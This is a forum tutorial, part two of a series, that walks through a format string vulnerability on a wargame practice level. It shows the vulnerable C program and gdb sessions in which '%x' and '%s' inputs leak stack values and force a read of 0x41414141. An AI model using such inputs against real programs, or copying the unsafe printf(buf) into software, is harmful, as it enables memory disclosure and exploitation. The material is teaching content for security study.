1. We have moved from vBulletin to XenForo and you are viewing the site in the middle of the move. Though the functional aspect of everything is working fine, we are still working on other changes including the new design on Xenforo.
    Dismiss Notice

Understanding Format Strings and Their Vulnerbilities - Part 2

Discussion in 'Ethical hacking Tips' started by lionaneesh, Feb 21, 2011.

  1. lionaneesh

    lionaneesh New Member

    Joined:
    Mar 21, 2010
    Messages:
    848
    Likes Received:
    224
    Trophy Points:
    0
    Occupation:
    Student
    Location:
    India
    This is a continuation of my previous article on format string vulnerbilities..I suggest a glance over it before reading further..

    In this tutorial we'll be see how do we display a string(data) at a particular address..

    We'll be using a IO Hacking Challenge Machine for testing our vulnerbility...

    Code:
     ______   _____
    
    /\__  _\ /\  __`\
    
    \/_/\ \/ \ \ \/\ \      Levels are in /levels
    
       \ \ \  \ \ \ \ \     Passes are in ~/.pass
    
        \_\ \__\ \ \_\ \
    
        /\_____\\ \_____\   Server admin: beach (beach@smashthestack.org)
    
        \/_____/ \/_____/   Server janitor: bla
    
    
    
            1. No DoS, local or otherwise
    
            2. Do not try to connect to remote systems from this box
    
            3. Only two connections per IP are allowed
    
            4. Quotas are in place so don't waste resources
    
            5. This rules list is not all inclusive and is subject to change
    
            6. Have fuN++
    
    
    
    				(28 levels)
    
    
    
    - use long(>5char) names in /tmp, short stuff is periodically deleted, as are
    
    easily guessable ones
    
    - o and feel free to leave your email in /home/email.list (it's writeonly)
    
    
    
    -  Thanks everybody for the new translations!
    
    
    
    level9@io:~$
    

    Exploiting



    Lets first take a look at the vulnerable program :-

    Code:
    #include <stdio.h>
    
    #include <string.h>
    
    
    
    int main(int argc, char **argv) {
    
    	int  pad = 0xbabe;
    
    	char buf[1024];
    
    	strncpy(buf, argv[1], sizeof(buf) - 1);
    
    
    
    	printf(buf);
    
    	
    
    	return 0;
    
    }
    
    
    Running :-

    Code:
    level9@io:/levels$ ./level09 Hey
    
    Heylevel9@io:/levels$ 
    
    
    Yeah , Its running fine...Now lets test it with some malicious input..

    Code:
    bfffde96 3ff bfffd910level9@io:/levels$ ./level09 "%x %x %x "
    
    bfffde95 3ff bfffd910 level9@io:/levels$ 
    
    Yeah... That is a proof of its vulnerable...We just poped out some addresses on the stack..

    Now lets just fire up GDB and see whats happening :-

    Code:
    level9@io:/levels$ gdb ./level09
    
    GNU gdb 6.8-debian
    
    Copyright (C) 2008 Free Software Foundation, Inc.
    
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    
    This is free software: you are free to change and redistribute it.
    
    There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
    
    and "show warranty" for details.
    
    This GDB was configured as "i486-linux-gnu"...
    
    (gdb) 
    
    lets add a breakpoint at the start of the program :-

    Code:
    (gdb) break main
    
    Breakpoint 1 at 0x80483ad
    
    (gdb)
    
    Lets run now

    Code:
    (gdb) run "%x %x"
    
    The program being debugged has been started already.
    
    Start it from the beginning? (y or n) y
    
    Starting program: /levels/level09 "%x %x"
    
    
    
    Breakpoint 1, 0x080483ad in main ()
    
    (gdb)
    

    Lets run it with some malicious inputs and see whats happening

    Code:
    (gdb) run "AAAA%x%x%x%x%x%x%x%x"
    
    Starting program: /levels/level09 "AAAA%x%x%x%x%x%x%x%x"
    
    
    
    Breakpoint 1, 0x080483ad in main ()
    
    (gdb) continue
    
    Continuing.
    
    AAAAbfffde813ffbfffd9004141414178257825782578257825782578257825
    
    Program exited normally.
    
    
    WoW!! Thats interesting...We got a 41414141 in the middle..

    Now lets just reduce the pop's (%x) and let AAAA be the top of the stack … So that we can read from it!!

    Code:
    (gdb) run "AAAA%x%x%x"
    
    The program being debugged has been started already.
    
    Start it from the beginning? (y or n) y
    
    
    
    Starting program: /levels/level09 "AAAA%x%x%x"
    
    
    
    Breakpoint 1, 0x080483ad in main ()
    
    (gdb) continue
    
    Continuing.
    
    AAAAbfffde8b3ffbfffd900
    
    Program exited normally.
    
    (gdb) 
    
    
    Ok Thats look great..
    Lets now try and read..

    Code:
    (gdb) run "AAAA%x%x%x%s"
    
    The program being debugged has been started already.
    
    Start it from the beginning? (y or n) y
    
    
    
    Starting program: /levels/level09 "AAAA%x%x%x%s"
    
    
    
    Breakpoint 1, 0x080483ad in main ()
    
    (gdb) continue
    
    Continuing.
    
    
    
    Program received signal SIGSEGV, Segmentation fault.
    
    0x0019070b in strlen () from /lib/libc.so.6
    
    0x41414141 ???
    (gdb) 
    
    
    Wow!! Boom..
    And we did it.. We made the program read a memory address I.e 0x41414141 it failed because the memory address does'nt exists

    Thats all for this article..Stay tuned for more..
     
  2. lionaneesh

    lionaneesh New Member

    Joined:
    Mar 21, 2010
    Messages:
    848
    Likes Received:
    224
    Trophy Points:
    0
    Occupation:
    Student
    Location:
    India
    Thanks for accepting..
    And i hope viewers could get something out of this!!
     

Share This Page